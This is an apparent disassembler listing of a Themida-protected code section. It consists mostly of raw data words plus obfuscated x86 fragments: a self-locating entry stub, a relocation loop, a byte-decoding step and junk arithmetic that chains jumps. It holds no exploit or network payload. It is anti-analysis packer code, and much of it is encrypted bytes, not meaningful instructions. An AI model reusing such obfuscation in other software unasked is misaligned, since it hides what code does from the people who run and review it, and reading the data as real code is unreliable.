		dd 0F2541841h, 9748AF71h, 0EC8531A0h, 0B1E95BC2h, 0E8FFFFFFh
		dd 11h,	0D5AAACFEh, 0BA326D16h,	0A2BDE184h, 0C453DABFh
		dd 66F56033h, 5B61FE8Bh, 55006A5Fh, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0BD89F8EAh, 64D4D7Fh
		dd 618D8DF5h, 8B064D04h, 4D044D95h, 81850906h, 0FF064D1Fh
		dd 4D231DB5h, 3858D06h,	50064FA9h, 550DBD8Dh, 8D8D064Dh
		dd 64D70E9h, 831ABCB8h,	30CF2B54h, 47C8D007h, 8DF87549h
		dd 4D7092B5h, 18D8D06h,	2B064D71h, 33A4F3CFh, 0B8C9h, 0C00B0000h
		dd 0BD834674h, 64D1149h, 0FF067400h, 4D06C595h,	7FB58B06h
		dd 8D064D4Dh, 4FA90385h, 8DD0FF06h, 4D41E585h, 0C7D0FF06h
		dd 4D034D85h, 106h, 6DA58B00h, 8B064D11h, 4D2F3DB5h, 95AD8B06h
		dd 33064D13h, 0CC2C0h, 2F219D8Bh, 6A064Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 7C6732C3h
		dd 0B5896913h, 64D2759h, 3698D89h, 0BD83064Dh, 64D2769h
		dd 17840F00h, 0F000000h, 68Dh, 21958B00h, 0FF064D31h, 4D301595h
		dd 0F37DBB06h, 0BD832B29h, 64D2999h, 0F9850F00h, 89000001h
		dd 4D1DF985h, 81BD8306h, 1064D12h, 1E6850Fh, 85890000h
		dd 64D3245h, 13A9BD83h,	0F00064Dh, 1D384h, 95895100h, 64D1559h
		dd 0D2BD835Ah, 64D4Dh, 1BE840Fh, 0B5890000h, 64D2649h
		dd 0A903858Dh, 890F064Fh, 6, 30698589h,	0B58B064Dh, 64D4D7Fh
		dd 0CE8h, 5500A900h, 636DC1E3h,	530A6F2Bh, 0D98B66B4h
		dd 6AD0FF5Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 68C6C355h, 6CAD7160h, 0C5B58958h
		dd 0F064D0Ch, 680h, 0E1958B00h,	0C6064D0Fh, 4D26E585h
		dd 820F5406h, 0
		dd 4E8h, 4EBEF400h, 50FE8AFFh, 0C4B96660h, 4CB866BFh, 448B610Bh
		dd 0BA660424h, 8BFA72h,	0AE8h, 65F51F00h, 33D67D9Ch, 66AB0AD7h
		dd 5B8B65BAh, 4244489h,	0FE8h, 160DA900h, 361E4195h, 4F8B2053h
		dd 283A299h, 0AE9h, 0F6B33900h,	0B4CF52D4h, 5A2B9936h
		dd 0DE8B6658h, 1431B5FFh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 594DDBC3h, 881F927Fh
		dd 331BF9Fh, 4D1B1D95h,	6858D06h, 6A064D39h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0FF5CC356h, 8800FD0h, 56000000h, 15A18589h, 6A5A064Dh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 15958BB7h, 6A064D21h, 51006AFFh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 61F503CAh
		dd 0D38114B2h, 71F63103h, 8D0FD0FFh, 18h, 13E9h, 33A2E900h
		dd 5C3247E3h, 22874439h, 0EF47EA2h, 2B4F4DC9h, 2EA1B5FFh
		dd 0CA81064Dh, 52594D18h, 231D95FFh, 9D0B064Dh,	64D2D09h
		dd 4D7FB58Bh, 0E852064Dh, 0Dh, 7F94EAE4h, 61AC4BA7h, 0CB99964Bh
		dd 5BFE8ABFh, 38F0F5Ah,	0F000000h, 6AC3D6BFh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 6804C355h, 0DF43AD9Eh, 1ABD9589h, 800F064Dh,	0Ch, 68D0Fh
		dd 0B5890000h, 64D0FB1h, 15A9B58Bh, 6A064Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2E1046C3h
		dd 399B9B8h, 4D1F3D95h,	0FF60B06h, 4284h, 6D9D8900h, 0C6064D2Bh
		dd 6A0006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0F63EBCC3h, 14E90AE9h, 0
		dd 64EE9E0Bh, 0A98A4406h, 7E0D017Dh, 8153E4Dh, 89764FC2h
		dd 4D4D8785h, 0F605606h, 0BD8BFEB7h, 64D2A35h, 0F8835B61h
		dd 0D9840F00h, 89000002h, 4D29EDBDh, 0B806h, 0D08B0000h
		dd 0F00F883h, 0A484h, 0E19D0300h, 83064D2Bh, 850F02F8h
		dd 7Fh,	3335B589h, 858D064Dh, 64D4402h,	2BAD9589h, 8C0F064Dh
		dd 16h,	11E9h, 0DF5F5700h, 4A0D1525h, 2499F961h, 5B73FD3h
		dd 292DECE1h, 81000009h, 2E3491E3h, 820F5017h, 5, 8FE12BAh
		dd 24048901h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0DFC35343h, 3029C6CDh, 4DBD2907h, 0C3064D04h, 0E281F560h
		dd 24673EACh, 0DD8D3161h, 0B8064D03h, 0
		dd 2AD18D89h, 25E9064Dh, 8B000002h, 4D310595h, 1B806h
		dd 800F0000h, 6, 24158589h, 0BD8D064Dh,	64D4407h, 0F2E9h
		dd 85BD8900h, 83064D0Ch, 850F02F8h, 49h, 0BD8DD38Bh, 64D45FFh
		dd 6830F60h, 81000000h,	88DB85E1h, 51BD8B3Bh, 61064D32h
		dd 0C2E9h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0D5F819C7h, 8B5CEA5Ch, 4D30C595h
		dd 3F88306h, 45850Fh, 7E90000h,	9E000000h, 399209E7h, 0BD8D0AE2h
		dd 64D4793h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	36C35646h, 0DBE42779h, 0E99D8960h, 61064D0Dh, 52E9h
		dd 899D8B00h, 83064D05h, 850F05F8h, 43h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 0DFC35040h, 378D19A2h
		dd 7A2EA2F2h, 12E9h, 182DEF00h,	25E9C30h, 9E20A020h, 0A3B8E815h
		dd 0E99F975Dh, 83h, 57DFBF0Fh, 0B9FEE780h, 6B702B35h, 83DA8B66h
		dd 840F003Fh, 6Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 7FC35545h, 8D09FCB3h,	64D1251h, 77C28166h
		dd 4595899Bh, 30064D0Ch, 0ACDA810Fh, 0D122B07Fh, 7D9589C9h
		dd 66064D2Fh, 0B647D68Bh, 0FFADE9D3h, 6AFFFFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 1FC238C3h, 83D08B38h, 850F05F8h, 88h, 2EDD958Bh, 6E9064Dh
		dd 18000000h, 28F113A4h, 0D98C660Ah, 0EE8h, 0EBECFC00h
		dd 2170223Dh, 0E95150BEh, 0E926E8C3h, 0Ah, 0A5F084EBh
		dd 70C66232h, 0BB5BDC45h, 5FDAD7D3h, 0F04C1F6h,	2385h
		dd 0C2816600h, 0B8855Eh, 0F000000h, 68Ch, 0AD858900h, 0E9064D32h
		dd 28h,	3D858960h, 61064D05h, 2BB1858Bh, 0B529064Dh, 64D0039h
		dd 0DE9E0FFh, 2F000000h, 0CFE0CD8h, 5AEFA424h, 79798034h
		dd 231DBD83h, 0F00064Dh, 12185h, 70BA6600h, 5E890D8h, 0FF000000h
		dd 1A22CFB0h, 14E8h, 4F3FDB00h,	32C99D8Dh, 0DAB2779Eh
		dd 8E3B6BC8h, 942D3394h, 5AF58AE8h, 8F0F505Bh, 8, 28D0Fh
		dd 0B9B30000h, 57006A90h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 91559EE0h, 10915EDDh
		dd 0FAC680C3h, 0EE9h, 70A72E00h, 3108CA7Ch, 1C8F597Dh
		dd 0C648635Ch, 4D26E585h, 6A4506h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0BAF8E8C3h, 687DB632h
		dd 42FB8228h, 81D88B66h, 0E7412404h, 0B70F4B76h, 0FFDA8BDEh
		dd 4D1431B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 8EA803CFh, 0AD8D8B60h, 8B064D0Fh
		dd 858D61F9h, 64D3906h,	7D1DBB66h, 0EE9D0FFh, 0E6000000h
		dd 0E78E0C88h, 7A322D39h, 71B1352Dh, 1D8589ACh,	29064D23h
		dd 4D2D398Dh, 79953306h, 58064D24h, 958D8960h, 89064D00h
		dd 4D14719Dh, 0BD836106h, 64D4DD6h, 4B840F00h, 89000000h
		dd 4D2DEDBDh, 0A1B5FF06h, 6A064D2Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 7F02C350h
		dd 0CB0C33C5h, 0BE9h, 0E5CD900h, 0DD5D2141h, 3CD04A32h
		dd 95FFA6B7h, 64D231Dh,	0E759589h, 0F883064Dh, 0D1850F00h
		dd 0F000000h, 0BD83DABFh, 64D22F9h, 7B840F00h, 89000000h
		dd 4D25B58Dh, 0F9B5FF06h, 6A064D22h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7FAC356h
		dd 9FA0C51Ah, 45A72907h, 1B83CB7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F23C355h, 0F8E9D3B7h, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B623C350h
		dd 0B5FF0C5Dh, 64D2EA1h, 9DDCC6BBh, 0A1B5FF6Fh,	0E9064D2Eh
		dd 0Eh,	72C8AB10h, 5C18F9AEh, 0E0C6D21Fh, 0B5FF81BEh, 64D231Dh
		dd 10B59D33h, 8166064Dh, 0E9386DDBh, 19Fh, 2BC5BD01h, 9D8B064Dh
		dd 64D1B05h, 53006A5Fh,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0E6283D69h, 21458589h, 0BB66064Dh
		dd 0BD835E2Eh, 64D2F49h, 0D6850F00h, 53000000h,	5AD38B66h
		dd 0FE9h, 0AF777100h, 64C873Eh,	0BFF1807Ch, 4D051B53h
		dd 26E585C6h, 234D064Dh, 4D230195h, 4E806h, 76A80000h
		dd 0BB66A435h, 6650482Eh, 8BC173BBh, 50042444h,	0AE952h
		dd 43580000h, 36981158h, 4D9940E5h, 0D78A310Fh,	8B585Ah
		dd 13E9h, 4709E200h, 0A6D23F48h, 7923C2D4h, 62C5CC8Ah
		dd 23ADFE0Fh, 4244489h,	61606060h, 0CA7DBE66h, 7E961h
		dd 0B10D0000h, 0B0D30739h, 0E95861B3h, 14h, 0F647170Ch
		dd 0D4B708D0h, 87C9F86Dh, 0FC9A7F91h, 2FEAA87h,	22C1B5FFh
		dd 9D89064Dh, 64D0DE1h,	3906858Dh, 0AE9064Dh, 3D000000h
		dd 2EC1B25Ch, 1A07FADFh, 19D09C5h, 0FF064D1Eh, 67BA66D0h
		dd 498589CDh, 8B064D2Fh, 0B8DEh, 0DA810000h, 1E093739h
		dd 4D7FBD89h, 157064Dh,	4D160195h, 0C00B5B06h, 32840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0DB912BC3h, 894AE749h, 4D0FF9B5h,	39E906h
		dd 9D8B0000h, 64D0301h,	231DB5FFh, 0F56064Dh, 686h, 3DB8100h
		dd 5A601FDCh, 0A903858Dh, 0BA66064Fh, 0BA503C6Ah, 389D7FB3h
		dd 0F240489h, 68Ah, 0AD958900h,	50064D1Ah, 0DBD8D56h, 8D064D55h
		dd 4D7B828Dh, 23BCB806h, 0CF2B7483h, 0C8D00730h, 0F8754947h
		dd 0BD83585Eh, 64D22F9h, 8B067400h, 4D0AED8Dh, 0B8C93306h
		dd 0
		dd 840FC00Bh, 99h, 1149BD83h, 7400064Dh, 0C595FF06h, 0B8064D06h
		dd 0
		dd 975C00Bh, 4D87BD83h,	7401064Dh, 87BD8309h, 2064D4Dh
		dd 0B58B0E75h, 64D4D7Fh, 0A903858Dh, 0D0FF064Fh, 41E5858Dh
		dd 0D0FF064Dh, 1139BD83h, 7502064Dh, 6DA58B2Fh,	8B064D11h
		dd 4D22F985h, 24048906h, 34D85C7h, 1064Dh, 0B58B0000h
		dd 64D4D83h, 1395AD8Bh,	1B8064Dh, 0C2000000h, 0EB000Ch
		dd 34D85C7h, 1064Dh, 0A58B0000h, 64D116Dh, 2F3DB58Bh, 0AD8B064Dh
		dd 64D1395h, 0CC2C033h,	69BD8300h, 64D27h, 0BD830F74h
		dd 64D3015h, 0FF067400h, 4D301595h, 7FB58B06h, 0C3064D4Dh
		dd 0AA07D381h, 13E95C76h, 9D000000h, 41EDDCDCh,	6B45F06h
		dd 22CC3914h, 3BD485A9h, 0A1B3E1A1h, 0BAh, 0D88B6600h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_546B84
; ---------------------------------------------------------------------------

loc_546B82:				; CODE XREF: Themida_:00546B87j
		inc	eax
		inc	edi

loc_546B84:				; CODE XREF: Themida_:00546B80j
		cmp	byte ptr [edi],	0
		jnz	short loc_546B82
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_546BB3
; ---------------------------------------------------------------------------

loc_546B90:				; CODE XREF: Themida_:00546BB5j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_546BA8
; ---------------------------------------------------------------------------

loc_546BA5:				; CODE XREF: Themida_:00546BABj
		mul	ebx
		dec	esi

loc_546BA8:				; CODE XREF: Themida_:00546BA3j
		cmp	esi, 0
		ja	short loc_546BA5
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax

loc_546BB3:				; CODE XREF: Themida_:00546B8Ej
		or	eax, eax
		jnz	short loc_546B90
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 0BBh, 2 dup(8Fh)
		dd 0C18B25A6h, 221B3E9h, 12FF6800h, 5B15B300h, 5A003F00h
		dd 5B15B302h, 5B10C100h, 0
		dd 5A002800h, 24602h, 200h, 2 dup(100h), 6EEEA00h, 0FAh
		dd 4 dup(0)
		dd 548C7F00h, 55255800h, 54E7EA00h, 54A92500h, 5488DE00h
		dd 5483C600h, 55218C00h, 54BC7800h, 552B4600h, 54E74100h
		dd 54E14800h, 54B3BC00h, 54C5FC00h, 54A0D600h, 5498CB00h
		dd 54F3F200h, 550F3500h, 54EF4500h, 54AC8A00h, 55269200h
		dd 54AF4900h, 55070B00h, 55169500h, 54874200h, 54797E00h
		dd 54EE4500h, 54E88900h, 54D96E00h, 54724800h, 54AC4200h
		dd 5475D600h, 54798400h, 550C1C00h, 54E0AB00h, 550F6F00h
		dd 550C3900h, 54BE7300h, 551A8500h, 54941700h, 54DA7800h
		dd 54B06200h, 54E80700h, 54FE8900h, 54BFDA00h, 54D73200h
		dd 54743A00h, 551E7D00h, 54A6CC00h, 552B0100h, 54C86900h
		dd 552C0C00h, 54DFF100h, 54C3EE00h, 54B1D800h, 55098400h
		dd 54C11500h, 54DC3800h, 54F33500h, 55042400h, 54842900h
		dd 54862F00h, 547C0E00h, 552B2A00h, 5473B200h, 54A84F00h
		dd 5514F200h, 54CC5E00h, 551B7700h, 54FC2600h, 54F70600h
		dd 54B20900h, 54A2C800h, 54D9A200h, 552A2500h, 54855200h
		dd 54E76F00h, 5527E800h, 54BD7200h, 54F4A400h, 54EA6B00h
		dd 55162E00h, 54D6F100h, 5513DA00h, 5505F300h, 55160400h
		dd 551E9900h, 54A31300h, 54FF1F00h, 55005D00h, 54D36C00h
		dd 5498AD00h, 54AC3700h, 547E2A00h, 55006500h, 551FAC00h
		dd 5500B900h, 547E7400h, 54C45900h, 54A38000h, 55157F00h
		dd 54ED5500h, 547D3000h, 54CA0B00h, 54AA9F00h, 54CD7700h
		dd 54B22800h, 548F1F00h, 54B45800h, 5503BE00h, 54F07600h
		dd 54B67200h, 54E2F600h, 54FC1000h, 54DFF900h, 54DB8400h
		dd 552BAF00h, 54D7AA00h, 54D3EE00h, 54B89200h, 548BA200h
		dd 54C68700h, 54879400h, 54C4FD00h, 54840E00h, 54FA2400h
		dd 54A31B00h, 54F1E400h, 5497ED00h, 549E3B00h, 548FB800h
		dd 551E5F00h, 54E16000h, 54786500h, 55170100h, 5510E500h
		dd 54B7BC00h, 547AF800h, 54800400h, 54902700h, 54FE3300h
		dd 548D5700h, 550C5600h, 5503F200h, 549B9300h, 55024300h
		dd 54CF4A00h, 54B88A00h, 54AB5900h, 547D0E00h, 54B2F800h
		dd 5486B000h, 551AF200h, 54E67600h, 552A8400h, 54C71200h
		dd 54899800h, 5512AB00h, 54D27C00h, 54FB1D00h, 547E6500h
		dd 55231000h, 55068300h, 54773300h, 54D74800h, 54BB9800h
		dd 54A41A00h, 54F0D000h
		db 0
; ---------------------------------------------------------------------------

loc_546EAD:				; CODE XREF: Themida_:005738C4j
					; Themida_:00573EDBj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 64D7FCBh
		mov	eax, edi
		add	edi, 64D7CE3h
		cmp	eax, [edi+2Ch]
		jnz	short loc_546ECB
		jmp	short loc_546EDE
; ---------------------------------------------------------------------------

loc_546ECB:				; CODE XREF: Themida_:00546EC7j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_546EDA
; ---------------------------------------------------------------------------

loc_546ED5:				; CODE XREF: Themida_:00546EDCj
		add	[edi+ecx*4+40h], eax
		dec	ecx

loc_546EDA:				; CODE XREF: Themida_:00546ED3j
		or	ecx, ecx
		jnz	short loc_546ED5

loc_546EDE:				; CODE XREF: Themida_:00546EC9j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1

loc_546EEB:				; CODE XREF: Themida_:00546EF2j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_546EEB

loc_546EF4:				; CODE XREF: Themida_:loc_548063j
					; Themida_:00548A92j ...
		lodsb
		sub	al, 0B7h
		sub	al, bl
		push	edx
		mov	dh, 57h
		jmp	loc_54CF0F
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0DA10A6BDh, 0FDF58147h, 5678935Eh, 0ED5DB5BEh, 0E9F50160h
		dd 36D5h, 8B243433h, 0C7E92424h, 0BD00000Fh, 7E9F2EF4h
		dd 2BACF581h, 0B9515FE9h, 0ED22D1EAh, 0C8BCD29h, 0E1895124h
		dd 0B7E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_546F45:				; CODE XREF: Themida_:0054C454j
		pop	esp
		mov	[esp], ecx
		push	1
		pop	ecx
		or	[edi+1Ch], ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_550EAF
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8904EC83h, 7BE9242Ch, 830000B2h, 3C8704C7h, 0DAF75C24h
		dd 6028E9h, 92E95D00h, 5E000062h, 8FEFE9h, 242C8B00h, 4C481h
		dd 0A5F30000h, 56386203h, 5650E689h, 0A74932BEh, 0B142E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_546F9E:				; CODE XREF: Themida_:005510B1j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_54A24D
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0F0h
		dd 8900004Fh, 0EC81240Ch, 4, 52243C89h,	0D836A8BAh, 2C1FBF3Ch
		dd 67E94D44h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_546FDB:				; CODE XREF: Themida_:005502ADj
		add	esp, 4
		jmp	loc_54D7CA
; ---------------------------------------------------------------------------
		dw 0B551h
		dd 0A3FEE90Ch, 0E9560000h, 547Dh, 0FFCBAh, 5AD32960h, 153B9905h
		dd 2DD80104h, 4153B99h,	2055Bh,	0BDE90000h, 68000017h
		dd 78Ah, 50241C89h, 0A730B7B8h,	8C8051Ah, 0C3890436h, 1266E9h
		dd 7EE95A00h
		db 21h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547033:				; CODE XREF: Themida_:0054F801j
		add	esp, 4
		add	eax, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5512BF
; ---------------------------------------------------------------------------
		dw 68h
		dd 81000000h, 51C12404h, 2C294910h, 22E3E924h, 0E9540000h
		dd 3762h
; ---------------------------------------------------------------------------

loc_547060:				; CODE XREF: Themida_:0054D9F8j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54B0DB
; ---------------------------------------------------------------------------

loc_54706C:				; CODE XREF: Themida_:00548AA2j
		jz	loc_54FBAF
		push	5442h
		mov	[esp], ebx
		jmp	loc_54E8EA
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0C8904ECh, 50E18924h
		dd 722FE9h, 1C5F2100h, 5B2434FFh, 81E78957h, 4C7h, 4C78300h
		dd 31243C33h, 3C33243Ch, 35E95C24h, 81FFFFFEh, 0B75EFAC5h
		dd 8BE901FDh, 8956242Ch, 4C681E6h, 83000000h, 348704C6h
		dd 0E9555C24h, 457Ah, 721B235h,	78AC2D73h, 0C689DCC5h
		dd 39F2E9h, 5BD93100h, 6AA9E9h,	5BDF2900h, 0F781DFF7h
		dd 0F9ACB401h, 0E95FFA29h, 4001h
; ---------------------------------------------------------------------------

loc_54710C:				; CODE XREF: Themida_:0054992Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_552C3E
; ---------------------------------------------------------------------------
		db 52h
		dd 84940FBAh, 5AD001B6h, 53585E50h, 1200E9h
		db 0
; ---------------------------------------------------------------------------

loc_547139:				; CODE XREF: Themida_:0054CF8Aj
		mov	esi, 4
		jmp	loc_54A5BE
; ---------------------------------------------------------------------------
		db 1
aUsQ		db 'îé*Ÿ',0
		align 2
		dw 0F750h
		dd 5582414h, 5CF2C8B3h,	348BF029h, 4C48324h, 6776EE81h
		dd 0C60116B5h, 6776C681h, 815816B5h, 4EEh, 40E95600h, 89000041h
		dd 0D9B62414h, 4EC81h, 4890000h, 7DB25224h, 96EBE9h, 0FD62E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547192:				; CODE XREF: Themida_:0054CCA5j
		add	ebp, 4
		jmp	loc_550B96
; ---------------------------------------------------------------------------

loc_54719D:				; CODE XREF: Themida_:0054C7BCj
		mov	edi, 136C1599h
		or	ebx, edi
		pop	edi
		add	ebx, 26E73D87h
		shr	ebx, 8
		and	ebx, 325014C7h
		shl	ebx, 7
		sub	ebx, 808417Ch
		add	eax, 195A3F76h
		add	eax, ebx
		sub	eax, 195A3F76h
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_550177
; ---------------------------------------------------------------------------

loc_5471D4:				; CODE XREF: Themida_:0055149Fj
		mov	[esp], esi
		push	edx
		mov	edx, edi
		push	edi
		mov	edi, edx
		jmp	loc_54ADD1
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 0E1809A3h, 3F82E181h, 0BD55084Ch, 69FF96Eh, 5FE9E929h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5471FB:				; CODE XREF: Themida_:00547C53j
		mov	[esp], edi
		mov	edi, edx
		push	edx
		jmp	loc_54CEF2
; ---------------------------------------------------------------------------

loc_547206:				; CODE XREF: Themida_:0054B789j
		xchg	eax, [esp]
		jmp	loc_552252
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 835B5453h, 48904ECh, 21B8E924h, 8D2D0000h, 1774A09h
		dd 98D05F0h, 34FF774Ah,	2434FF24h, 4C4815Eh, 68000000h
		dd 565Fh, 0E9241489h, 4864h, 0E9772CACh, 4886h,	32488B05h
		dd 2DC82922h, 2232488Bh, 3B3BBF57h, 5805709Eh, 556FCE07h
		dd 176F9BBDh, 0ED81451Bh, 0B70927D3h, 15DE829h,	4F0FE9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54727E:				; CODE XREF: Themida_:0054E123j
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54991F
; ---------------------------------------------------------------------------
aPsqw		db 'Péqw',0
		align 4
		dd 0F6E9FA01h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54729F:				; CODE XREF: Themida_:00548034j
		sub	bl, dl
		pop	edx
		pop	ax
		sub	al, bl
		jmp	loc_549B14
; ---------------------------------------------------------------------------
		db 0F7h
aS_		db 'Õé _',0
		align 2
		dw 1433h
aSC		db '$\é~—',0
		dw 0BF00h
		dd 0A0D0C79h, 295FFD01h, 242C8BEEh, 104C483h, 0C3315EF0h
		dd 7C5E9h, 63E95C00h, 9000072h,	0F5815BDDh, 3FB776BBh
		dd 2C8BEB01h, 4C48324h,	5733E9h, 0F8B35300h, 76E9D3F6h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5472FB:				; CODE XREF: Themida_:00549B0Fj
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_548A97
; ---------------------------------------------------------------------------

loc_547308:				; CODE XREF: Themida_:0054C76Aj
		push	edx
		mov	edx, 4A683B8Dh
		mov	eax, edx
		pop	edx
		jmp	loc_552123
; ---------------------------------------------------------------------------
		dw 8350h
		dd 248904ECh, 6A77E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547322:				; CODE XREF: Themida_:0054BE10j
		mov	ebx, [esp]
		jmp	loc_54DA72
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 6C810424h, 1E00424h,	585B1BE1h, 838BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54733D:				; CODE XREF: Themida_:00548026j
		add	bl, 42h
		jmp	loc_5529B9
; ---------------------------------------------------------------------------

loc_547345:				; CODE XREF: Themida_:0054B2DDj
		push	ecx
		mov	ch, 0F4h
		sub	ch, 7
		add	al, ch
		jmp	loc_55217A
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0C7815C24h, 2, 8B243C87h, 2CD22424h,	89E99C24h, 5FFFFFBh
		dd 7B6357A2h, 48BC729h,	4C48324h, 0B7BCBE56h, 0F729B3B0h
		dd 8BF8015Eh, 0C483243Ch, 328F6804h, 26E90000h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547393:				; CODE XREF: Themida_:0054977Bj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54BBF8
; ---------------------------------------------------------------------------

loc_5473A5:				; CODE XREF: Themida_:00548AF2j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5484E1
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 7DE92404h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5473BB:				; CODE XREF: Themida_:0054BC1Ej
		push	edx
		mov	dh, 46h
		jmp	loc_550D2F
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FCEE815Eh, 0E95B5A30h, 310Eh, 940CE95Ah, 0EC810000h
		dd 4, 0B093E9h,	55E28900h, 4B951h, 0CD890000h, 0B74DE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5473F2:				; CODE XREF: Themida_:00547F4Cj
		add	ebp, 5F085036h
		add	ebp, edi
		push	ebx
		mov	ebx, 78A32A63h
		xor	ebx, 5C4F65EEh
		add	ebx, 3A1C00A9h
		sub	ebp, ebx
		pop	ebx
		pop	edi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54746D
; ---------------------------------------------------------------------------
a341434LFSI	db '[34$14$34$‹$$f;ÈœéÛI',0
		align 2
		dw 0BD55h
		dd 3A550C0Fh, 8904EC83h, 98BE2434h, 0E939DF17h,	9049h
		dd 0BF3B26BAh, 5AD6891Eh, 646AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54745D:				; CODE XREF: Themida_:0054D2E9j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_54E4EE
; ---------------------------------------------------------------------------

loc_54746D:				; CODE XREF: Themida_:0054741Fj
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		mov	ebx, 1E273D46h
		mov	edi, 479668C8h
		and	edi, 5C9A0840h
		push	eax
		jmp	loc_54AC0A
; ---------------------------------------------------------------------------

loc_54748A:				; CODE XREF: Themida_:005518B6j
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	24F3h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 5B835F96h
		shr	ebp, 7
		add	ebp, 3ED92CCDh
		and	ebp, 9E70E0Ah
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		push	edi
